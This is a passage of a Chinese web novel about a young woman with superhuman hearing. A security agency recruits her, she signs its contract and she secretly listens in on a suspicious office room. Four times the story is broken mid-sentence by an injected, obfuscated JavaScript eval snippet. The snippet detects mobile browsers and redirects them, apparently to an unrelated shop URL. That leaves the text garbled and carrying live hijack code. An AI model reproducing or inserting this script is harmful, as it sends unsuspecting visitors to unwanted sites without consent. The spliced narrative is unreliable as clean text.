“坏事是,你可能因此错过关键信息。”陈树严肃地说,“实战中,敌人不会只发出‘温暖’的声音。吵架、冲突、异常的电话铃声、甚至枪械上膛的细微声响——这些可能是更重要的情报。如果你下意识过滤它们,会出大事。” 杨晓晓沉默了。 她确实……不太喜欢听那些负面的声音。 吵架、哭泣、争执……这些声音会让她不舒服,所以她潜意识里会避开。 “这不是批评。”陈树语气缓和了些,“每个人都有自己的倾向。但作为专业人员,你需要学会‘调整’这个倾向。该温暖的时候温暖,该冷酷的时候冷酷。该听欢声笑语的时候听,该听刀光剑影的时候,也必须听。” 他站起来:“今天的训练,就是让你意识到这一点。接下来,我们要专门训练你对‘异常声音’和‘负面声音’的敏感度。” 杨晓晓深吸一口气:“我明白了。” “很好。”陈树说,“下午的训练内容是:监听一段混合了各种声音的录音,专门挑出其中所有‘异常’的声音——争吵、哭泣、急促的脚步声、异常的电子设备声等等。你要学会不回避这些声音,反而主动聚焦于它们。” 听起来就很难。 但杨晓晓知道,这是必须的。 如果她想保护自己,如果想弄清楚304的秘密,如果想找到那个“清除者”…… 她就必须变强。 变得能听到一切,能分析一切,能面对一切。 “我准备好了。”她说。 陈树笑了:“那就开始吧。” 接下来的三个小时,杨晓晓经历了一场“声音地狱”的洗礼。 录音里什么都有:夫妻激烈的争吵、孩子的尖叫哭闹、街头的打架斗殴、车祸现场的混乱、甚至还有……审讯室的逼供声(模拟的)。 每一次听到这些声音,杨晓晓都会本能地皱眉,想要移开注意力。 但她强迫自己听下去。 听清每一个字,每一个语气,每一个背景音。 “他们在吵什么?” “孩子为什么哭?” “打架的人说了什么?” “车祸现场有多少人受伤?” “审讯室里,被审问的人呼吸频率是多少?” 她一边听,一边在心里分析。 慢慢地,她发现自己不再那么抵触了。 不是变得冷漠,而是……学会了抽离。 把声音当成信息,而不是情绪。 把哭声当成“有人受伤”的信号,而不是“好可怜”的情感反应。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191449|197074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把争吵当成“这里有冲突”的情报,而不是“好烦”的抱怨。 这是一种奇怪的转变。 有点冷酷,但很必要。 训练结束时,她累得几乎虚脱。 但陈树很满意。 “进步很大。”他说,“你已经能主动聚焦于‘异常声音’,而不是回避。虽然还会受到情绪影响,但至少在认知层面,你知道该听什么了。” 杨晓晓苦笑:“我觉得我快没人性了。” “不。”陈树摇头,“有人性,和保持专业,不矛盾。你可以同情那个哭泣的孩子,但同时也要听清他为什么哭——是摔倒了?还是被欺负了?如果是被欺负,欺负他的人说了什么?这些信息,能帮助你在实战中做出正确判断。” 他顿了顿:“记住,我们的工作不是冷冰冰的机器监控。我们是人,用人的能力,保护更多的人。” 杨晓晓点点头。 这句话,她记住了。 走出训练室时,天已经黑了。 张磊在门口等着。 “今天怎么样?”他问。 “累。”杨晓晓实话实说,“但……有收获。” “那就好。”张磊发动车子,“对了,陈队让我告诉你,明天你不用来训练了。” 杨晓晓一愣:“为什么?” “明天你要‘上班’。”张磊说,“深蓝科技那边,李姐给你安排了一个重要任务:接待总部来的大客户。从早到晚,全程陪同。陈队说,这是很好的‘掩护’机会,也是观察公司的好时机。” 杨晓晓想起那份接待方案。 对,明天客户就要来了。 她要负责全程协调:接机、入住、会议、餐饮、送机…… “那我……需要做什么特别的事吗?”她问。 “正常接待就好。”张磊说,“但可以用你的能力,听听客户在非正式场合的谈话,看看有没有什么异常。另外,继续关注304。陈队说,最近那里活动频率增加了。” 杨晓晓心里一紧:“增加了?” “嗯,监控显示,过去一周,有三次异常信号。虽然很短暂,但确实存在。”张磊说,“你明天在公司,可以趁机多‘听’几次。但要小心,别被发现。” “明白。” 回到宿舍,杨晓晓瘫在床上。 明天会很忙。 接待客户,监听304,还要随时注意那个可能存在的“清除者”…… 但她不再像以前那样恐慌了。 她有训练,有能力,有组织。 还有……那盆绿萝。 她看向窗台。 绿萝的叶子,好像真的绿了一点点? “你也适应新环境了?”她对着绿萝说。 然后她笑了。 也许,她也在适应。 适应这个新的身份,新的生活,新的责任。 虽然前路依然充满未知,虽然训练很累,虽然那个“清除者”可能还在暗处…… 但至少,她在前进。 一步一步,稳稳地前进。 这就够了。 她闭上眼睛,开始练习。 听楼上的电视声,听隔壁的洗澡声,听远处的车流声…… 然后,从中挑出“异常”。 楼上的电视在放新闻,主播的声音平稳。 隔壁的洗澡水声规律。 远处的车流……等等,有一辆车的引擎声不对劲?像是有点问题,噗噗的,可能该修了。 她记下这个发现。 然后继续听,继续练习。 就像陈树说的:有人性,但保持专业。 她可以关心那辆车的主人会不会有危险,但同时也要把这个“异常声音”当成一个情报点。 这就是她的新生活。 用这双特别的耳朵,听这个世界。 然后,保护这个世界。 虽然她现在能做到的还很少。 但总有一天…… 她会的。 她相信。 10. 签合同前我看了八遍 国安局地下三层的休息室里,杨晓晓捧着那杯已经凉透了的茶,盯着手里那叠文件,眼睛都快瞪出重影了。 《特殊人才临时聘用协议(试行版V4.1)》。 封面上那几个字,每个字她都认识,但组合在一起,总觉得有种不真实感。 三天前,她还是个担心自己被当成非法实验体灭口的恐慌女孩。 现在,她坐在这里,手里拿着一份……国安局的劳动合同? “看完了吗?” 陈树推门进来,手里拿着个保温杯,在她对面坐下。 “看了……第八遍了。”杨晓晓抬起头,表情复杂,“陈老师,这合同……是真的?” “公章在上面,编号可查,当然是真的。”陈树拧开保温杯,热气带着茶香飘出来,“怎么,觉得条款太苛刻?” “不,是觉得……太正规了。”杨晓晓指着合同上的条款,“五险一金,基本工资五千,包住宿,有食堂,危险任务还有津贴。这比我在深蓝科技的待遇还好。” 陈树笑了:“怎么,以为我们会把你关起来,每天喂点营养液,然后抽血切片研究?” 杨晓晓有点不好意思:“电影里……不都这么演吗?” “那是电影。”陈树喝了口茶,“我们这里是国家机关,不是非法实验室。招人,就要按劳动法来。给你发工资,你就要干活。很公平。” 杨晓晓又低头看合同。 关键条款她用笔标了出来: **第三条乙方权利义务** 3.1 乙方须严格遵守《超常能力使用管理条例》(附件一)及相关法律法规。 3.2 乙方不得私自使用超常能力干涉公民隐私、窃取商业秘密、从事违法活动(经批准的测试及任务除外)。 3.3 乙方有义务接受甲方安排的能力训练、心理评估及定期体检。 3.4 乙方执行危险等级任务时,须严格遵守安全规程,有权拒绝明显超出能力范围或不合理的指令。 **第四条甲方权利义务** 4.1 甲方为乙方提供符合国家标准的劳动保护及安全工作环境。 4.2 甲方为乙方缴纳社会保险及住房公积金。 4.3 甲方根据任务危险等级向乙方发放津贴(标准见附件二)。 4.4 甲方为乙方提供必要的心理咨询服务(附件三)。 …… 杨晓晓的手指停在“心理咨询服务”那一行。 “这个……”她抬头,“心理咨询……会用到吗?” 陈树放下保温杯,看着她:“晓晓,你知道我们这是什么部门吗?” “特别事务保障局?” “对。”陈树点头,“我们处理的事情,通常不属于‘正常’范畴。你看到的、听到的、经历的,可能会挑战你的世界观,冲击你的心理承受能力。所以心理咨询不是摆设,是必需品。” 他顿了顿:“我每年都要去做至少四次心理评估。队里每个人都是。这不是说你心理有问题,而是……预防。就像消防演习,不一定真有火灾,但得准备好。” 杨晓晓似懂非懂地点点头。 她翻到附件部分。 附件一:《超常能力使用管理条例(2022修订版)》,厚达三十页。 附件二:《任务危险等级及津贴标准》,从D级(日常训练)到S级(极高风险),津贴从每天200元到2000元不等。 附件三:《心理健康服务指南》,列出了合作的心理咨询机构和预约流程。 还有附件四:《保密协议》,违反者将承担法律责任,最高可至刑事责任。 “签了这个,我就不能跟任何人说这里的事?”杨晓晓问。 “对。”陈树表情严肃,“包括你的父母、朋友、恋人。你的社会身份会有一个‘掩护故事’,你需要记住它,并且不露破绽。” “掩护故事?” “比如,你从深蓝科技离职,跳槽到另一家国企做行政,待遇更好,但工作内容涉密,所以不能细说。”陈树说,“我们会帮你完善细节,但你需要自己记住。” 杨晓晓想了想:“那我以后……还能过正常生活吗?” “能。”陈树肯定地说,“只要你想。我们有很多外勤人员,表面上就是普通上班族,有家庭,有朋友,有爱好。只是他们偶尔会‘出差’,或者‘加班’。只要你能平衡好,完全可以过双重生活。” 他顿了顿:“当然,这不容易。需要很强的心理素质和自律。但很多人做到了。” 杨晓晓沉默了一会儿。 然后她拿起笔。 “等等。”陈树说,“不问问实习期多久?转正条件?或者……有没有其他福利?” “问了就会变吗?”杨晓晓反问。 “不会。” “那就不问了。”她说完,在合同最后一页的乙方签字栏,写下了自己的名字。 杨晓晓。 三个字,写得工工整整,比平时签快递单认真得多。 写完后,她把合同推过去。 陈树接过,也签上自己的名字,然后从包里掏出公章,“啪”一声盖在甲方处。 红印鲜明。 “好了。”他把其中一份合同递给杨晓晓,“这份你收好。从今天起,你就是特别事务保障局的临时外勤员,实习期三个月。实习期间,你的直接上级是我。” 杨晓晓接过合同,看着那个红章,心里涌起一种奇怪的感觉。 踏实?还是更慌了? “接下来,”陈树看了眼手表,“我让人送你去宿舍安置。明天开始,你要回深蓝科技‘上班’。” “回深蓝科技?”杨晓晓一愣,“我……还要回去?” “对。”陈树点头,“一方面,你需要一个正常的社会身份做掩护。另一方面,那里是你能力觉醒的地方,也是你听到‘目标已清除’的地方。我们需要你在那里观察,看能不能发现更多线索。” 他顿了顿:“当然,前期主要是适应。你正常上班,处理行政工作,同时用你的能力留意公司内的异常。我们会给你配一个加密通讯设备,有情况随时汇报。” 杨晓晓消化着这个信息。 所以她要当双面间谍? 白天是苦逼行政,晚上是国安特工? “有问题吗?”陈树问。 “有。”杨晓晓老实说,“我怕我做不好。” “没人一开始就能做好。”陈树笑了,“我也一样。我第一次出任务,紧张得把咖啡洒在了目标身上,差点暴露。” “真的?” “真的。”陈树点头,“所以别怕犯错,只要别犯致命的错就行。有我在后面看着你。” 这句话莫名让人安心。 杨晓晓点点头:“那我……试试。” “不是试试,是必须做好。”陈树语气温和但坚定,“你的能力很特别,以后可能会救很多人。但前提是,你得先学会控制它,使用它。” 他站起来:“走吧,带你去领装备。” 所谓的“装备”,其实很简单: 一部老式翻盖手机——只能打电话发短信,但加密等级极高。 一张门禁卡——可以进入国安局大部分区域。 一套训练服——深蓝色,透气吸汗。 还有一个……绿萝形状的U盘? “这是加密存储设备。”陈树指着那个绿萝U盘,“外表伪装成装饰品,插上电脑会自动启动加密程序。你需要记录的任何信息,都存在这里面。” 杨晓晓接过U盘,捏了捏,叶子是软的,做得还挺逼真。 “另外,”陈树递给她一个文件夹,“这是你‘新身份’的材料。深蓝科技那边的‘返岗通知’,人事变动记录,还有一份‘跳槽offer’——如果以后有人问起你怎么又回来了,你就说之前那家国企没通过试用期,所以又回来了。” 杨晓晓翻开文件夹。 材料做得很细致,连“新公司”的LOGO、信纸抬头都有。 “这些东西……都是真的?”她问。 “半真半假。”陈树说,“那家国企确实存在,也确实在招人。我们和他们有合作,所以可以借用名头。就算有人去查,也查不出破绽。” 杨晓晓服了。 专业。 太专业了。 “最后,”陈树看着她,“给你一个建议。” “什么建议?” “别把自己当‘特工’。”陈树说,“就当一个普通的上班族,只是碰巧听力比较好。该抱怨抱怨,该摸鱼摸鱼,该和同事聊八卦就聊八卦。越自然,越安全。” 杨晓晓想了想:“那……我还能吐槽李姐吗?” “当然能。”陈树笑了,“该吐槽就吐槽,这才正常。” “那……我还能订奶茶吗?” “不仅能订,我建议你订。”陈树认真地说,“而且要跟同事一起订,分享优惠券,讨论哪家好喝。这是最好的掩护。” 杨晓晓乐了。 这工作……好像还不错? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191450|197074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“行了,张磊在楼下等你,送你去宿舍。”陈树拍拍她的肩,“今晚好好休息,明天开始,新生活。” 新生活。 杨晓晓拎着简单的行李——几件衣服,洗漱用品,还有那个绿萝U盘——走出国安局大楼时,夕阳正好。 金色的阳光洒在脸上,暖洋洋的。 她回头看了一眼那栋灰色建筑。 然后转身,走向等待的车。 “感觉怎么样?”张磊一边开车一边问。 “像在做梦。”杨晓晓实话实说,“三天前我还觉得自己快死了,现在……成公务员了。” “临时工。”张磊纠正,“不过待遇确实不错。食堂的麻辣香锅是一绝,你明天可以试试。” “陈老师推荐了奶茶。” “那家也好喝。”张磊说,“不过我要提醒你,训练很苦。陈队带新人出了名的严格。” “有多严格?” “上个月有个新人,练多目标监听练到吐。”张磊说,“是真的吐了,在训练室里。” 杨晓晓:“……” “不过那小子现在能同时听八路声音,厉害得很。”张磊又说,“所以别怕苦,练出来都是自己的本事。” 杨晓晓点点头。 她不怕苦。 怕的是无能为力。 怕的是躲在黑暗里等死。 现在有路可走,再苦也要走。 车子开到一个看起来普通的小区,刷卡进门,停在一栋楼下。 “3单元502,钥匙在门卫那儿。”张磊说,“房间简单装修,家具齐全,你自己看看缺什么,列个单子给我,我去领。” 杨晓晓上楼,开门。 房间比她想象的好。 一室一厅,五十平米左右,装修简洁但干净。有床、衣柜、书桌、小沙发,甚至还有个小阳台。 最重要的是——安静。 不是完全没声音,而是声音都隔着一层什么,模糊而遥远。 “隔音材料。”张磊跟上来,指了指墙壁,“特制的,能过滤掉大部分环境噪音。但对你的能力有没有用,得你自己试试。” 杨晓晓闭上眼睛,尝试“听”。 能听到声音,但确实模糊了很多。如果不刻意去“聚焦”,这些声音就像无害的白噪音。 她睁开眼,松了口气。 “有用。”她说,“太好了。” 终于能睡个好觉了。 “行李先放着,我带你熟悉一下环境。”张磊说,“食堂在东边那栋楼,早上六点到八点,中午十一点到一点,晚上五点到七点。训练室在主楼地下三层,门禁卡能进。健身房在……” 他简单介绍了一圈。 然后说:“明天早上八点,我来接你去深蓝科技。晚上六点,接你回来训练。” “训练……每天都训?” “每周一三五体能,二四六能力专项,周日休息。”张磊说,“不过刚开始可能会加课,看陈队安排。” 杨晓晓记下。 “那……我现在该做什么?”她问。 “收拾东西,吃饭,休息。”张磊说,“对了,手机24小时开机,陈队随时可能联系你。” “好。” 张磊走了。 杨晓晓关上门,在房间里转了一圈。 窗明几净,床单是新的,有淡淡的阳光味道。 她走到阳台上,看着外面的城市夜景。 灯火璀璨,车流如织。 她闭上眼睛,尝试“听”。 声音涌来,但比在出租屋时清晰可控多了。她可以自如地调整“焦距”,像调试望远镜一样。 她听到几条街外夜市的热闹,听到公园里老人拉二胡,听到某栋楼里孩子在练钢琴…… 这些声音不再是负担,而是……城市的脉搏。 手机震动。 陈树:“安顿好了?” 她回复:“好了。房间很安静,谢谢陈老师。” 陈树:“明天开始正式工作。记住,自然就是最好的伪装。晚安。” 杨晓晓:“晚安。” 放下手机,她躺到床上。 盯着天花板,笑了。 虽然前路未知,虽然还有很多谜团。 但至少现在,她不是一个人了。 她有组织,有教官,有任务。 还有……麻辣香锅和奶茶。 这大概就是……公务员的快乐? 她想着,笑着,慢慢睡着了。 这一夜,无梦。 11. 欢迎来到深蓝科技 早上七点五十,杨晓晓站在深蓝科技大楼前,手里拿着工卡,心跳有点快。 几天前,她从这部电梯里坠落。 今天,她要假装什么都没发生,回来继续当她的行政助理。 电梯门开了。 里面空无一人。 杨晓晓犹豫了一秒,走进去。 电梯平稳上行。 1楼、2楼、3楼…… 她盯着跳动的数字,手指无意识地收紧。 没事的,她对自己说。电梯已经检修过了,而且……她现在有“后台”了。 22楼到了。 电梯门打开,熟悉的办公区出现在眼前。 格子间、绿植、复印机的声音、键盘敲击声、隐约的电话铃声…… 一切如常。 仿佛那场坠楼事故从未发生。 “晓晓?你回来啦!” 第一个看到她的是王姐,从隔断后探出头,满脸惊讶。 “王姐早。”杨晓晓努力露出自然的微笑。 “你这就上班了?不多休息几天?”王姐走过来,上下打量她,“没事吧?听说你从电梯……” “没事,一点皮外伤。”杨晓晓说,“医生说过几天就好全了。” “那就好那就好。”王姐压低声音,“你知道吗,你出事那天,李姐脸都白了。不过这几天她又正常了——哦对了,听说星耀那边给她开的条件又加了,她心思早飞了。” 杨晓晓点点头,走向自己的工位。 桌上那盆绿萝……还活着! 虽然叶子还是有点黄,但没死。 她放下包,坐下,打开电脑。 屏幕亮起,还是那个Excel表格,报销单的数据停在三天前的进度。 她深吸一口气,开始工作。 九点整,李姐准时出现。 看到杨晓晓,她愣了一下,然后快步走过来。 “晓晓,你怎么今天就来了?”李姐的语气居然有点……关心?“不是让你多休息几天吗?” “我没事了李姐,在家闲着也是闲着。”杨晓晓说。 “那也要注意身体。”李姐拍拍她的肩,“对了,上周那个报销单,财务那边说可以了,你最后核对一遍就提交吧。” “好的。” 李姐又交代了几件杂事,然后端着“元气满满”的杯子走了。 杨晓晓看着她离开的背影,有点恍惚。 不久前,她还觉得李姐是压榨新人的恶上司。但现在……好像也没那么讨厌了? 或者是因为她知道,自己现在的“老板”已经换人了? 摇摇头,她专注工作。 一上午风平浪静。 订会议室、处理文件、帮同事解决打印机卡纸问题、给绿萝浇水(这次控制好了水量)…… 中午,她和王姐还有几个同事一起去食堂吃饭。 “晓晓,你那天到底怎么回事啊?”一个同事好奇地问,“电梯怎么就突然掉下去了?” 杨晓晓早就准备好了说辞:“我也不知道,就突然一晃,然后就开始往下掉。可能是老化了吧,听说物业已经在全面检修了。” “太吓人了。”同事感慨,“你这运气,大难不死必有后福啊。” “说不定哦。”王姐开玩笑,“晓晓,要不要去买张彩票?” 杨晓晓笑笑,没接话。 饭后回到工位,她收到陈树的消息: “第一天感觉如何?” 她回复:“正常。同事没怀疑。绿萝还活着。” 陈树:“很好。下午有个小任务。” 杨晓晓坐直了身体。 来了。 陈树:“三点到四点之间,找机会去一趟三楼东侧的空置会议室。用你的能力,听一听里面和周围的动静。不用进去,就在附近找个地方‘听’。记录任何异常声音,晚上汇报。” 杨晓晓:“收到。” 她看了眼时间,下午一点半。 还有一个半小时。 接下来的时间,她有点心不在焉。一边处理着行政杂事,一边不自觉地把听力“扫”向三楼方向。 三楼主要是研发部和一些实验室,平时进出需要权限。行政部的人很少去那边。 但她现在能听到。 下午两点五十,她起身,拿起一个文件夹——假装去送文件。 坐电梯到三楼。 走廊里很安静,偶尔有穿着白大褂的研究人员匆匆走过。 她走到东侧,看到那间空置会议室的门紧闭着。门牌上写着“304会议室(暂未启用)”。 旁边是楼梯间和卫生间。 杨晓晓走进卫生间,找了个隔间,关上门。 坐下,闭上眼睛,将听力集中向304会议室方向。 一开始,只有寂静。 空调出风口微弱的嗡鸣。 远处某个实验室仪器运行的滴滴声。 走廊外偶尔的脚步声。 她耐心地听。 十分钟过去了,什么都没有。 难道今天没人? 就在她准备放弃时—— 极轻微的“滴”声。 像是电子设备启动或运行的声音,很短暂,不到一秒。 然后又是寂静。 杨晓晓屏住呼吸。 又过了几分钟,她听到了。 键盘敲击声。 非常轻,非常快,像是有人在用极快的速度打字。但按键声很特殊,不是普通键盘的清脆声,更像是……某种特制的小型设备? 敲击持续了大约两分钟,然后停止。 接着是金属摩擦的细微声响,像是……在撬地板? 杨晓晓心跳加速。 她努力听清每一个细节。 金属摩擦声持续了一分钟左右,然后停下。 接着,那个人似乎站了起来——有衣服摩擦声和极轻微的脚步声。 脚步声走向门口。 停住。 杨晓晓紧张起来——难道被发现了? 但脚步声没有继续,而是转了个方向,走向房间的另一侧。 然后,她听到了一个声音。 极其轻微,像是压抑着的呼吸声。 但那个呼吸的频率……不对劲。 太规律了,规律得不像正常人。像是一种……经过训 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191451|197074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 练的控制? 又过了几分钟,脚步声再次移动,回到房间中央。 “滴”——又一声电子音。 接着,一切归于寂静。 杨晓晓又等了十分钟,确认没有其他动静后,才轻轻走出隔间。 她回到工位,第一时间给陈树发了条加密消息: “304室有动静。听到电子设备声、特殊键盘敲击、金属摩擦、异常规律的呼吸声。持续约15分钟,现已静止。” 陈树很快回复:“收到。表现很好。晚上详细汇报。” 放下手机,杨晓晓才发现自己手心都是汗。 第一次“任务”,虽然只是监听,但那种紧张感…… 她看了眼窗台上的绿萝,忽然觉得,这盆植物可能是她未来生活中,最不需要用超能力去理解的东西了。 下午剩下的时间平淡无奇。 五点半,下班时间到。 李姐准时拎包走人。王哥和其他同事也陆续离开。 杨晓晓多待了半小时,处理完手头的工作,才关电脑下班。 走出大楼时,夕阳西下,天空染成橘红色。 张磊的车已经在老地方等着了。 “第一天‘上班’,感觉如何?”张磊一边开车一边问。 “还行。”杨晓晓说,“就是有点……分裂。” “正常。”张磊笑了,“我刚来的时候也是,白天当普通公司职员,晚上训练到趴下。过段时间就习惯了。” 车子开回宿舍小区。 杨晓晓上楼,开门,看着这个暂时属于她的空间。 安静,整洁,安全。 她放下包,走到窗边。 窗外是城市的夜景,灯火璀璨。 她闭上眼睛,尝试“听”向远方。 声音涌来,但比在出租屋时清晰可控多了。她可以自如地调整“焦距”,像调试望远镜一样。 她听到几条街外夜市的热闹,听到公园里老人拉二胡,听到某栋楼里孩子在练钢琴…… 这些声音不再是负担,而是……城市的脉搏。 手机震动。 陈树:“晚上八点,训练室见。带运动服。” 杨晓晓看着消息,叹了口气。 果然,公务员的福利(奶茶)不是白给的。 她回复:“收到。” 然后从行李箱里翻出唯一一套运动服,走进卫生间洗澡。 热水冲在身上的时候,她忽然想起白天在304会议室听到的那些声音。 电子设备、特殊键盘、金属摩擦、异常的呼吸…… 那里到底藏着什么? 谁在那里? 和她的坠楼有关吗? 问题很多,答案很少。 但她知道,从今天起,她不再是那个被动等待答案的杨晓晓了。 她是……正在学习如何寻找答案的杨晓晓。 擦干头发,换上运动服,她看着镜子里的人。 脸色比前几天好多了,眼睛里有光。 “问题不大。”她对自己说。 然后她顿了顿,笑了。 这句话,好像真的开始有点说服力了。 12. 绿萝杀手重出江湖 早上八点半,杨晓晓推开行政部的玻璃门,迎面就撞上了王姐那张写满“八卦”的脸。 “晓晓,快来快来!”王姐一把将她拉到茶水间,压低声音,“出大事了!” 杨晓晓心里一紧——难道304的事暴露了?还是她的身份被发现了? “什、什么大事?”她声音有点抖。 “李姐真的要走了!”王姐眼睛发光,“昨天下午,星耀科技的人力总监亲自来公司接她吃饭,听说开价是这个数——” 她伸出三根手指。 “三……三十万?”杨晓晓试探着问。 “年薪三十万?”王姐翻了个白眼,“再加个零!三百万!还有股权!” 杨晓晓倒吸一口凉气。 她知道李姐能力强,但没想到这么值钱。 “所以李姐……” “下个月就走。”王姐说,“现在部门里几个组长都在明争暗斗,想接她的位置。刘总那边据说也在物色空降人选,总之……要乱一阵子了。” 杨晓晓点点头,心里却在想另一件事。 李姐要走,部门要乱,这对她的“观察任务”是好事还是坏事? 混乱中,也许那个隐藏在304的人会更活跃? 或者更隐蔽? “对了晓晓,”王姐忽然换了个话题,“你那盆绿萝怎么样了?” 杨晓晓一愣:“还……还活着。” “活着就好。”王姐拍拍她的肩,“你知道这盆绿萝的‘历史’吗?” “历史?” “坐你这个工位的前三个人,都是绿萝杀手。”王姐神秘兮兮地说,“第一个,把绿萝养成了干尸。第二个,浇水过多,烂根死了。第三个,更绝,不知道从哪儿听说咖啡渣能施肥,结果把绿萝‘烧’死了。” 杨晓晓:“……” “所以你现在是第四任。”王姐说,“好好养,争取打破诅咒。” 杨晓晓看了眼窗台上那盆叶子发黄的绿萝,心里没底。 她连自己都养不好,还养植物? 回到工位,她盯着绿萝看了半天,然后决定……用能力听听看。 她闭上眼睛,集中注意力“听”向绿萝。 泥土里,有虫子在爬,细微的窸窣声。 叶子上,有灰尘落下,几乎听不见的轻响。 还有……植物细胞代谢的声音?那是一种极其微弱、近乎幻觉的嗡鸣,如果不是她听力超常,根本捕捉不到。 但也就这些了。 绿萝不会说话,不会告诉她“我渴了”或者“阳光太强了”。 她叹了口气,拿起水壶,小心地浇了一点水。 不多不少,刚刚好。 “加油啊。”她对绿萝说,“我们一起……活下去。” 绿萝的叶子在晨光中微微晃动,像是回应。 上午的工作照常。 处理报销单,订会议室,协调各部门的需求。 十点左右,李姐把她叫到办公室。 “晓晓,下周三总部有个大客户要来考察,接待方案你开始准备了吗?” “已经在做了李姐。”杨晓晓说,“酒店订了市中心的凯悦,会议室预订了公司最大的1号厅,餐饮按客户口味准备了西式自助,车辆安排了三辆商务车。” 李姐点点头,难得露出满意的表情:“做得不错。这次接待很重要,不能出任何差错。你全程跟进,有什么问题随时找我。” “好的李姐。” “另外……”李姐顿了顿,“我可能下个月就不在公司了。这段时间,你多跟王姐学学,她业务熟,人也靠谱。” 杨晓晓一愣。 这是……临别赠言? “李姐,您真的要走?” “嗯。”李姐笑了笑,难得的温和,“人往高处走。我在深蓝干了八年,也该换换环境了。” 她看着杨晓晓:“你是个踏实的孩子,好好干,以后有机会。” “谢谢李姐。” 走出办公室,杨晓晓心情复杂。 以前觉得李姐刻薄,现在想想,可能只是个在职场打拼多年、有点疲惫的中年人。 每个人都有自己的难处。 回到工位,她继续工作。 间隙时,她“听”了一下304方向。 安静。 只有空调的嗡鸣和远处实验室的仪器声。 那个神秘的“东西”,今天似乎没活动。 中午吃饭时,王姐又凑过来。 “晓晓,听说你把接待方案做得很好?李姐刚才在刘总面前夸你了。” “真的?”杨晓晓惊讶。 “真的。”王姐说,“看来李姐临走前想提拔你一下。好好表现,说不定能混个组长当当。” 杨晓晓苦笑。 她现在是国安局的人,还在乎什么组长不组长? 但这话不能说。 “我尽力吧。”她含糊道。 下午,她去三楼送文件——顺便“路过”304。 会议室门紧闭着,和昨天一样。 她站在门口,假装整理文件,同时集中注意力“听”。 还是安静。 但这次,她听到了更细微的声音。 不是设备声,也不是呼吸声。 而是……一种极低频的震动? 像是某种大型机器在很远的地方运行,震动通过建筑结构传导过来。 她分辨了一下方向。 不是304室内,而是……下方? 304下面是什么? 她回忆大楼结构图——二楼是仓库和部分行政办公室。 震动来自二楼? 她记下这个发现。 回到工位,她给陈树发了加密消息: “304今日安静,但听到楼板传来极低频震动,疑似来自二楼。请求核实二楼情况。” 陈树很快回复:“收到。已安排人调查二楼。继续观察。” 放下手机,杨晓晓看着电脑屏幕,心里却想着别的事。 如果304真的有问题,那为什么选择深蓝科技? 这家公司表面上是做软件开发和系统集成的,没什么特别机密的项目。 除非……表面之下,有别的什么? 她想起菜市场鱼贩的儿子也在这里工作。 真的只是巧合? 下班前,王姐又溜达过来。 “晓晓,晚上有空吗?部门几个同事说要聚个餐,给李姐提前送行。” 杨晓晓犹豫了一下。 她晚上还要训练。 但陈树说过,要“自然”,要和同事保持正常交往。 “好啊。”她说,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191452|197074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几点?在哪儿?” “六点半,楼下的川菜馆。”王姐说,“李姐请客,不去白不去。” 杨晓晓笑了:“那必须去。” 她给张磊发了消息,说晚上要聚餐,训练可能要晚点。 张磊回复:“收到。九点我去接你。” 六点半,川菜馆包厢。 行政部十几个人都来了,连平时不怎么露面的刘总也来了。 气氛很热闹,大家轮流给李姐敬酒,说祝福的话。 李姐今天格外温和,喝了点酒,脸微红,说话也软了很多。 “我在深蓝八年,最舍不得的就是你们这些老同事。”她举着酒杯,“以后不管我在哪儿,你们有事,随时找我。” 大家都感动了,纷纷举杯。 杨晓晓也举杯,心里却有点感慨。 职场就是这样,人来人往,聚散无常。 今天还在一起吃饭,明天就可能各奔东西。 吃饭时,她听到隔壁包厢有人在谈生意,声音很大。 “王总,这个项目我们一定能拿下!” “资金不是问题,我们有办法。” “对对对,流程上可以灵活处理……” 她下意识地“听”了几句,然后反应过来——这不是她的任务,也不该听。 她赶紧收回注意力,专注于眼前的饭菜。 但能力就是这样,像呼吸一样自然,很难完全关闭。 她听到后厨炒菜的声音,听到服务员在对讲机里喊“308加一份毛血旺”,听到街上车辆驶过的声音,听到更远处广场舞的音乐…… 信息洪流。 